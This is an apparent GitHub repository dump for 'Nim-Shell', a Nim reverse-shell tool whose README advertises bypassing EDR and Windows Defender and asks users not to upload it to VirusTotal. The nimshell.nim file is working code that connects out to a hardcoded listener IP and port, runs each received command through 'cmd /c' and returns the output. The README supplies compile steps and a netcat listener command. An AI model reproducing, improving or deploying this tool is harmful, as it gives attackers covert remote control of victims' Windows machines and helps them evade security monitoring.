[
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2023 EmreKybs\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "[![EmreKybs](https://img.shields.io/badge/MadeBy-Emrekybs-yellow)\n# Nim-Shell\n<img src=\"https://github.com/emrekybs/nim-shell/blob/main/nim.png\" width=\"250\">\nReverse shell that can bypass EDR and windows defender detection\n\n# Please do not upload to VirusTotal\n\n# 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦\n    $ apt install nim\n\n# Compilation\nnim c -d:mingw --app:gui nimshell.nim\n\n\n<img src=\"https://github.com/emrekybs/nim-shell/blob/main/1.png\">\n\nChange the IP address and port number you want to listen to in the nimshell.nim file according to your device.\n\n<img src=\"https://github.com/emrekybs/nim-shell/blob/main/2.png\">\n\n# and listen\n\n     $ nc -nvlp 4444\n"
  },
  {
    "path": "nimshell.nim",
    "content": "import net, os, osproc, strutils\n\nproc executeCommand(command: string): string =\n  result = execProcess(\"cmd /c \" & command)\n\nvar\n  socket = newSocket()\n\nvar\n  myIP = \"192.168.1.25\"\n  myPort = \"4444\"\n\nlet\n  exitMessage = \"Exiting..\"\n  changeDirectoryCommand = \"cd\"\n  defaultDirectory = \"C:\\\\\"\n\ntry:\n  socket.connect(myIP, Port(parseInt(myPort)))\n\n  while true:\n\n    socket.send(os.getCurrentDir() & \"> \")\n\n    let command = socket.recvLine()\n\n    if command == \"exit\":\n      socket.send(exitMessage)\n      break\n\n    if command.strip() == changeDirectoryCommand:\n      os.setCurrentDir(defaultDirectory)\n    elif command.strip().startswith(changeDirectoryCommand):\n      let directory = command.strip().split(' ')[1]\n      try:\n        os.setCurrentDir(directory)\n      except OSError as error:\n        socket.send(repr(error) & \"\\n\")\n        continue\n    else:\n \n      let result = executeCommand(command)\n      socket.send(result)\n\nexcept:\n  \n  raise\n\nfinally:\n \n  socket.close\n"
  }
]